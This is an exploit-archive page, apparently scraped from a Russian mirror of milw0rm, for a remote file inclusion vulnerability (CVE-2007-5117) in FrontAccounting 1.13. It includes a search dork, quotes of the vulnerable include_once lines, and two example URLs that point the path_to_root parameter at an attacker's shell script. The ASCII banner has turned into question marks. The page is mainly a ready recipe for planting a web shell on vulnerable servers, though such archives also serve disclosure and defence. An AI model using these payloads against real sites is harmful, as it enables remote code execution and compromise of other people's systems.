Exploit FrontAccounting 1.13 - Remote File Inclusion

[Exploiter]

EDB-ID

4456

Проверка EDB

1. Пройдено

Автор

KEZZAP66345

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-5117

Дата публикации

2007-09-26

?????__________________________________________?????
????????_____________________________________???????
???????????_________________________________????????
??????????????_____________________________?????????
????????????????__________________________??????????
???????????????????______________________???????????
?????????????????????___________________????????????
??????????????????????_________________?????????????
????????????????????????_______________?????????????
??????????????????????????_____________?????????????
___?????????????????????????__________??????????????
_____?????????????????????????________??????????????
________???????????????????????_______??????????????
___________??????????????????????_____??????????????
________________???????????????????___??????????????
_____________________???????????????__??????????????
_ __________________________????????????????????????_
_____________________???????????????????????????____
______________???????????????????????????????_______
___________???????????????????????????????????______
________????????????????????????????????????????____
______????????_____??????????????????????????????___
____?????????_______??????????????????????????????__
__???????????_______???????????????????????????????_
_?????????????_____?????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
_??????????????????????????????????????????????????_
__?????????????????????????????????????????????????_
_____?????????????????????????????????????????????__
_____ ____????????????????????????????????????????___
_______________??????????????????????????????????___
_________________???????????????????????????????____
_________________???????????????????????????________
________________??????????_____??????????___________
_________________?????_________?????_________?????__
__________????_________????____________?????????____
__________?????????????????_____??????????__________
__________?????????????????___?????_________________
__________?????______??????_________________________

#FrontAccounting version 1.13  <=  Remote File Inclusion Vulnerability
#
#Dork:"FrontAccounting"
#
#Vuln Code
##############################################################################################
#
#ERROR1:accsess/login.php
#
#   include_once($path_to_root . "/includes/ui/ui_view.inc"); <<< RFI
#
#
#
#
#BUG1:login.php?path_to_root
#
#Example1:http://site.com/path/accsess/login.php?path_to_root=[[Sh3LLScript]]
#
##############################################################################################
##############################################################################################
#
#ERROR2:includes/lang/language.php
#
#   include_once($path_to_root . "/lang/installed_languages.inc");
#   include_once($path_to_root . "/includes/lang/gettext.php"); <<< RFI
#
#
#
#
#BUG2:includes/lang/language.php?path_to_root
#
#Example2:http://site.com/path/includes/lang/language.php?path_to_root=[[Sh3LLScript]]
#
##############################################################################################
#
#http://sourceforge.net/projects/frontaccounting/
#
##############################################################################################
#
#>>>>>>>>>>>>>>>> coded by K3ZZAP66345<<<<<<<<<<<<<
#
#"Eli mouse tutan herkes kendini haykır zannedio."----------------"Eli opulcek cok insan var."
#
#
#####specialthanx:###..Str0ke..####..KEZZAP66345..####..Wocker..##############################
##############################################################################################

# milw0rm.com [2007-09-26]